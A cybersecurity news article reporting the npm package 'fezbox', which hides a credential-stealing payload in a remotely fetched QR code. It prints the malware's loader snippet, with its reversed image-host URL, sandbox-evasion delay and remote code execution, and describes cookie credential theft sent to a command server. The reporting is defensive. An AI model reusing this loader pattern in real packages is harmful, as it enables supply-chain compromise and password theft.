Cyber Security News

New Malware in npm Package Steals Browser Passwords Using Steganographic QR Code

A sophisticated malware campaign has emerged in the npm ecosystem, utilizing an innovative steganographic technique to conceal malicious code within QR codes.

The malicious package, identified as “fezbox,” presents itself as a legitimate JavaScript/TypeScript utility library while secretly executing password-stealing operations through a cleverly disguised QR code payload.

This attack represents a significant evolution in supply chain threats, demonstrating how cybercriminals are adopting increasingly creative methods to bypass security measures and evade detection systems.

The fezbox package masquerades as a comprehensive utility library offering TypeScript support, performance optimization, and modular functionality.

According to its documentation, the package provides common helper functions organized by feature modules, allowing developers to import only necessary components.

While the README file mentions a QR Code Module for generating and parsing QR codes, it deliberately omits crucial details about the package’s capability to fetch QR codes from remote URLs and execute embedded malicious code.

Image of the QR code (Source – Socket.dev)

Socket.dev analysts identified the malware after detecting suspicious behavioral patterns within the package’s codebase.

The security team discovered multiple layers of obfuscation techniques, including string reversal, code minification, and the novel use of steganographic QR codes to hide the final payload.

At the time of discovery, the malicious package remained active on the npm registry, prompting Socket.dev to petition the npm security team for its immediate removal and the suspension of the threat actor’s account.

Advanced Steganographic Payload Delivery

The malware employs a sophisticated multi-stage execution process that begins with environmental checks and timing delays to evade sandbox detection.

The initial malicious code contains browser-specific conditionals that verify the presence of window and document objects, ensuring execution only occurs in legitimate browser environments.

When conditions are met, the malware waits 120 seconds before initiating the payload retrieval process.

The core malicious functionality revolves around a reversed URL string that conceals the location of the steganographic QR code:-

(function () {
    if (n.isDevelopment() || c.chance(2 / 3))
        return;
    setTimeout(async () => {
        const loader = new d.QRCodeScriptLoader();
        const t = await loader.parseQRCodeFromUrl(
            "gpj.np6f7h_ffe7cdb1b812207f70f027671c18c25b/6177675571v/daolpu/egami/qsqbneuhd/moc.yrani"
            .split("")
            .reverse()
            .join("")
        );
        loader.executeCode(t);
    }, 120 * 1e3);
})();

When reversed, this string resolves to a Cloudinary-hosted QR code image containing the final malicious payload. The QR code itself serves as a steganographic container, hiding JavaScript code that extracts username and password values from browser cookies.

Once decoded, the payload attempts to locate cookies containing authentication credentials, specifically searching for “username” and “password” fields using additional string obfuscation techniques.

The extracted credentials are then exfiltrated through an HTTPS POST request to a command-and-control server hosted on Railway, a cloud platform service.

This multi-layered approach – combining environmental evasion, timing delays, string reversal, steganographic concealment, and credential extraction – represents a sophisticated evolution in npm-based supply chain attacks that security teams must prepare to defend against.

Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

Tushar Subhra Dutta

Tushar is a senior cybersecurity and breach reporter. He specializes in covering cybersecurity news, trends, and emerging threats, data breaches, and malware attacks. With years of experience, he brings clarity and depth to complex security topics.

Recent Posts

Chrome High-severity Vulnerabilities Let Attackers Access Sensitive Data and Crash System

Google has issued an urgent security update for its Chrome web browser to address three…

2 hours ago

Threat Actors Breaking to Enterprise Infrastructure Within 18 Minutes From Initial Access

Cybersecurity professionals are facing an unprecedented acceleration in threat actor capabilities as the average breakout…

4 hours ago

Zloader Malware Repurposed to Act as Entry Point Into Corporate Environments to Deploy Ransomware

Zloader, a sophisticated Zeus-based modular trojan that first emerged in 2015, has undergone a significant…

5 hours ago

Beware of Fake Online Speedtest Application With Obfuscated JS Codes

A sophisticated malware campaign has emerged that leverages fake online speed test applications to deploy…

9 hours ago

Defy Security Appoints Esteemed Cybersecurity Leader Gary Warzala to Its Board of Directors

Defy Security, a leading provider of cybersecurity solutions and services, today announced the appointment of…

11 hours ago

Want to Validate Alerts Faster? Use Free Threat Intel from 15K SOCs

Alex sighed at his third energy drink of the night shift, watching another batch of…

11 hours ago